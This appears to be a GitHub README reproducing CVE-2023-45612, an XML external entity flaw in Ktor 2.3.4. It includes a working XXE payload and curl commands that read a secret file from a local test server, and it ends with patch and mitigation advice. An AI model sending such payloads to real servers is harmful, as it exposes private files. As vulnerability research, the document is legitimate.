clemfavre/cve-2023-45612_exploitReproduction of a high severty security problem that allows XXE (XML eXternal Entity) attacks on Ktor's XML serialization.
CVE-2023-45612 is a high severty security probem that allows XXE (XML eXternal Entity) attacks on Ktor's XML serialization that has been patched in 2023.
Below is a detailed way of how I reproduced the problem.
First, we need a server that is going to process the XML files. We create a Kotlin project from IntelliJ IDEA and modify the build.gradle.kts in order to use the Ktor dependencies we need and the serialization plugin. io.ktor:ktor-serialization-kotlinx-xml is the dependency that interests us. The version 2.3.4 is the vulnerable one, and the version 2.3.5 is the patched one.
Then, we add at the root of the project a file named sensitive_infos.txt that is destinated to be private and not accessible from outside of the server. The content of this file is "This informations should be secret and not accessible by sending a .xmf file.".
Then, we implement the server in Main.kt. It is designed to process the XML sent by the client by serializing it into a String (name) of the class Person. Then the server answers confirming the name the client just sent. After starting the server, we can try the normal and the malicious use:
The client sends a XML file with its name and receives a confirmation with the name it just sent. We can test this with the following XML file:
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
<name>Clément</name>
</manifest>
and the command:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
The client defines an entity by providing a substitution String in the form of URI and sends the malicious XML file, then receives the content of a secret file accessible by the server. I show below an example with a file (sensitive_infos.txt) that is at the root of the server, but note that you could also possibly reach other files (if the XML parser can access their content) with for example file:/// if the server runs on linux.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
<name>&exploit;</name>
</manifest>
and the command
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
The server answers with "Name sent: This informations should be secret and not accessible by sending a .xmf file.", wich proves that we indeed accessed the secret informations and so that there is a vulnerability.
By the way, changing the version from 2.3.4 to 2.3.5 in the build.gradle.kts resolves the problem and the server is only answering "Name sent" for the malicious input, while conserving a normal answer for the normal input, wich confirms us that the security problem has been resolved in 2.3.5.
Never trust the user ! Ktor paser could sanitize inputs by for example discarding all XML input files that contain an entity.
Less restrictive for the user, Ktor could disable external entities by default by setting external-general-entities and external-parameter-entities features to false, so that the user can still declare an entity in his XML file, but this entity cannot access any external resource anymore.
Include XXE attack tests in Ktor's CI/CD in order to be sure that the code isn't vulnerable to them.